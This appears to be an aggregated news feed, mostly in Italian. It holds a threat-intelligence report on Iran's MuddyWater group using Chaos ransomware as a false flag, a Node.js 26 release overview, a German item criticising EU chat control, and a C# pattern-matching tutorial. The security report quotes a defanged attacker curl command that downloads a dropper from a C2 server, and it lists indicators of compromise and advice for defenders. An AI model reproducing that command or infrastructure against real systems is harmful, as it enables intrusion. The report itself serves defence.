(in)sicurezza digitale

2026-05-07 13:43:39

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime

Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo

MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos

Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa

L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica

Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma

Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica

Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori

• Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
• Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
• Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
• MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
• Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.

Spcnet.it

2026-05-07 13:34:27

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy

Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default

La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

• Temporal.PlainDate: una data senza orario né fuso orario
• Temporal.PlainTime: un orario senza data né fuso orario
• Temporal.PlainDateTime: data e orario senza fuso orario
• Temporal.ZonedDateTime: data e orario con fuso orario esplicito
• Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
• Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39

Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()

La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()

La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione

La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti

Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()

Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*

I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types

Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime

Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

• module.register() — deprecato in favore di import.meta.url patterns
• Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
• Alcune API stream (DEP0201)

Come aggiornare

Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:

fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:

1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'

Conclusioni

Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026

Node.js — Node.js 26.0.0 (Current)

Node.js® is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.

^nodejs.org

netzpolitik.org

2026-05-06 12:36:42

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…

Datenschutzbeauftragte kritisieren Chatkontrolle

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“.

^{Markus Reuter (netzpolitik.org)}

Spcnet.it

2026-05-06 11:48:07

Pattern matching in C#: scenari avanzati che probabilmente non conosci

Il pattern matching in C# non è solo un modo più elegante di scrivere condizioni: è un cambio di paradigma nel modo in cui si ragiona sulla struttura dei dati. A partire da C# 7 e con evoluzioni significative nelle versioni successive, il pattern matching è diventato uno strumento potentissimo per scrivere codice più leggibile, manutenibile e talvolta anche più efficiente.

In questo articolo esploreremo i pattern avanzati che molti sviluppatori .NET tendono a ignorare o a sottoutilizzare, partendo da un progetto concreto che dimostra ogni scenario.

Setup del progetto di esempio

Prima di tutto, creiamo un’applicazione console di test:

dotnet new console -n PatternMatchingDemo
cd PatternMatchingDemo

Definiamo i modelli come record, ideali per il pattern matching grazie alla loro natura value-based:

namespace PatternMatchingDemo.Records;

public record Address(string City, string Country);
public record User(string Name, int Age, Address Address, List<string> Roles);
public record Request(string Source, int Priority);
public record Point(int X, int Y);

E popoliamo alcune collezioni di test:

var users = new List<User>
{
    new("Ali", 25, new Address("Milano", "Italy"), new List<string> { "Admin", "User" }),
    new("Sara", 17, new Address("Roma", "Italy"), new List<string> { "User" }),
    new("Kennedy", 65, new Address("London", "UK"), new List<string> { "Guest" })
};

var requests = new List<Request>
{
    new("System", 10),
    new("User", 3),
    new("System", 2)
};

Property Pattern: matching annidato

Uno dei pattern più utili è il property pattern, che permette di verificare le proprietà di un oggetto direttamente nell’espressione di matching, incluse proprietà annidate:

foreach (var user in users)
{
    if (user is { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} è di Milano");
    }
}

Il confronto tradizionale richiederebbe:

if (user != null && user.Address != null && user.Address.City == "Milano")

La versione con property pattern è non solo più compatta, ma anche null-safe per definizione: se user o user.Address sono null, il pattern semplicemente non matcha.

Pattern con not: negazione elegante

foreach (var user in users)
{
    if (user is not { Address.City: "Milano" })
    {
        Console.WriteLine($"{user.Name} non è di Milano");
    }
}

Il keyword not inverte il risultato del pattern, rendendo esplicito il significato senza bisogno di operatori logici aggiuntivi.

Matching su casi multipli con or

foreach (var user in users)
{
    if (user is { Address.City: "Milano" or "Roma" })
    {
        Console.WriteLine($"{user.Name} vive in una grande città italiana");
    }
}

Il combinatore or all’interno di un pattern è molto più leggibile di una serie di condizioni concatenate con ||, specialmente quando le condizioni riguardano la stessa proprietà.

Pattern Matching dentro LINQ

Il pattern matching si integra perfettamente con LINQ, permettendo query molto espressive:

var adultiItaliani = users
    .Where(u => u is { Age: > 18, Address.Country: "Italy" })
    .ToList();

foreach (var user in adultiItaliani)
{
    Console.WriteLine($"{user.Name} è un adulto italiano");
}

Questa combinazione è particolarmente potente per filtrare DTO complessi, validare oggetti di dominio o implementare query su collezioni in memoria.

Pattern relazionali e logici

I pattern relazionali (>, <, >=, <=) combinati con i pattern logici (and, or) permettono di esprimere range e condizioni composite in modo molto naturale:

foreach (var user in users)
{
    if (user.Age is > 18 and < 60)
    {
        Console.WriteLine($"{user.Name} è un adulto lavorativo");
    }
    else if (user.Age is < 18 or > 60)
    {
        Console.WriteLine($"{user.Name} appartiene a una categoria di età speciale");
    }
}

Switch Expression

La switch expression (introdotta in C# 8) è una versione compatta e restituisce un valore. Elimina la verbosità del tradizionale switch statement:

foreach (var user in users)
{
    var categoria = user.Age switch
    {
        < 13 => "Bambino",
        < 20 => "Adolescente",
        < 60 => "Adulto",
        _     => "Senior"
    };

    Console.WriteLine($"{user.Name} => {categoria}");
}

Rispetto allo switch classico, la versione expression è più concisa, obbliga a coprire tutti i casi (o aggiungere il wildcard _) e restituisce direttamente un valore senza variabili intermedie.

Pattern Type + Condition

Il pattern di tipo permette di verificare il tipo di un oggetto e aggiungere una condizione contemporaneamente:

object value = 150;

// Modo tradizionale
if (value is int number && number > 100)
{
    Console.WriteLine("Numero grande (vecchio stile)");
}

// Con pattern matching
if (value is int and > 100)
{
    Console.WriteLine("Numero grande (pattern matching)");
}

Questo è particolarmente utile quando si lavora con object, dynamic, o con gerarchie di tipi complesse.

List Pattern (C# 11+)

Introdotto in C# 11, il list pattern consente di matchare la struttura e il contenuto di array e liste:

int[] nums = { 1, 2, 3 };

if (nums is [1, 2, 3])
{
    Console.WriteLine("Match esatto");
}

if (nums is [1, .., 3])
{
    Console.WriteLine("Inizia con 1 e finisce con 3");
}

if (nums is [_, _, _])
{
    Console.WriteLine("Array con esattamente 3 elementi");
}

Il slice pattern .. è molto flessibile: può matchare zero o più elementi nel mezzo di una sequenza. Questo pattern è molto utile per validare payload di API che arrivano come array, controllare header HTTP, o verificare strutture di dati fisse.

Positional Pattern

var point = new Point(10, 20);

if (point is (10, 20))
{
    Console.WriteLine("Il punto è (10,20)");
}

// Con switch expression
var descrizione = point switch
{
    (0, 0) => "Origine",
    (_, 0) => "Sull'asse X",
    (0, _) => "Sull'asse Y",
    _      => $"Punto generico ({point.X},{point.Y})"
};
Console.WriteLine(descrizione);

Il positional pattern decostruisce l’oggetto usando il metodo Deconstruct (disponibile automaticamente per i record) e permette di matchare ogni componente individualmente.

Combined Pattern: la vera potenza

Combinare più pattern insieme permette di esprimere logica di business complessa in modo dichiarativo:

foreach (var user in users)
{
    if (user is
        {
            Age: > 18,
            Address.Country: "Italy",
            Roles: ["Admin", ..]
        })
    {
        Console.WriteLine($"{user.Name} è un admin adulto italiano");
    }
}

Questo esempio combina property pattern annidato, relational pattern e list pattern in un’unica espressione. In scenari reali, questa tecnica è applicabile per authorization checks, validazione di DTO, o routing di request handler.

Null Pattern

User? maybeUser = null;

if (maybeUser is not null)
{
    Console.WriteLine("L'utente esiste");
}
else
{
    Console.WriteLine("L'utente è null");
}

Il null pattern con is not null è semanticamente più preciso di != null in contesti di nullable reference types, ed è la forma raccomandata nelle linee guida di C# moderno.

Guard Clause nelle switch expression

int number = 7;

var result = number switch
{
    int n when n % 2 == 0 => "Pari",
    int n when n % 2 != 0 => "Dispari",
    _ => "Sconosciuto"
};

Console.WriteLine(result);

La clausola when aggiunge una condizione aggiuntiva a un pattern. Utile quando il solo pattern non è sufficiente a discriminare i casi.

Request Handling pattern

Un esempio pratico di uso combinato in un sistema di routing delle request:

foreach (var request in requests)
{
    var response = request switch
    {
        { Source: "System", Priority: > 5 } => "Richiesta di sistema critica",
        { Source: "User",   Priority: <= 5 } => "Richiesta utente normale",
        _ => "Fallback generico"
    };

    Console.WriteLine($"{request.Source} ({request.Priority}) => {response}");
}

Questo schema è applicabile in moltissimi contesti: event sourcing, command dispatcher, middleware pipeline, validazione di business rules.

Considerazioni sulle performance

Oltre alla leggibilità, il pattern matching in C# è progettato per essere efficiente. Il compilatore ottimizza le switch expression in jump table o sequenze di confronto ottimizzate. Per tipi primitivi, le performance sono equivalenti o superiori a catene di if-else.

Per scenari di alta performance con molti branch (es. parser, protocol handler), vale la pena misurare con BenchmarkDotNet, ma nella stragrande maggioranza dei casi applicativi il pattern matching non introduce overhead significativo.

Conclusione

Il pattern matching in C# è uno strumento che va ben oltre il semplice is o lo switch. Combinando property pattern, list pattern, relational pattern e switch expression, è possibile scrivere logica complessa in modo dichiarativo e leggibile.

La chiave per sfruttarlo al meglio è conoscere tutti i tipi di pattern disponibili e riconoscere le situazioni in cui possono sostituire costrutti più verbosi. Un codice che legge come il problema che risolve è un codice di qualità superiore.

Il codice sorgente di esempio è disponibile su GitHub: github.com/elmahio-blog/Patter…

---

Fonte originale: Pattern matching in C#: Advanced scenarios you didn’t know — elmah.io Blog

Pattern matching in C#: Advanced scenarios you didn't know

Master advanced C# pattern matching! Explore nested property patterns, list patterns, and switch expressions to write cleaner, readable code.

^{Ali Hamza Ansari (elmah.io Blog - .NET Technical tutorials/guides and new features)}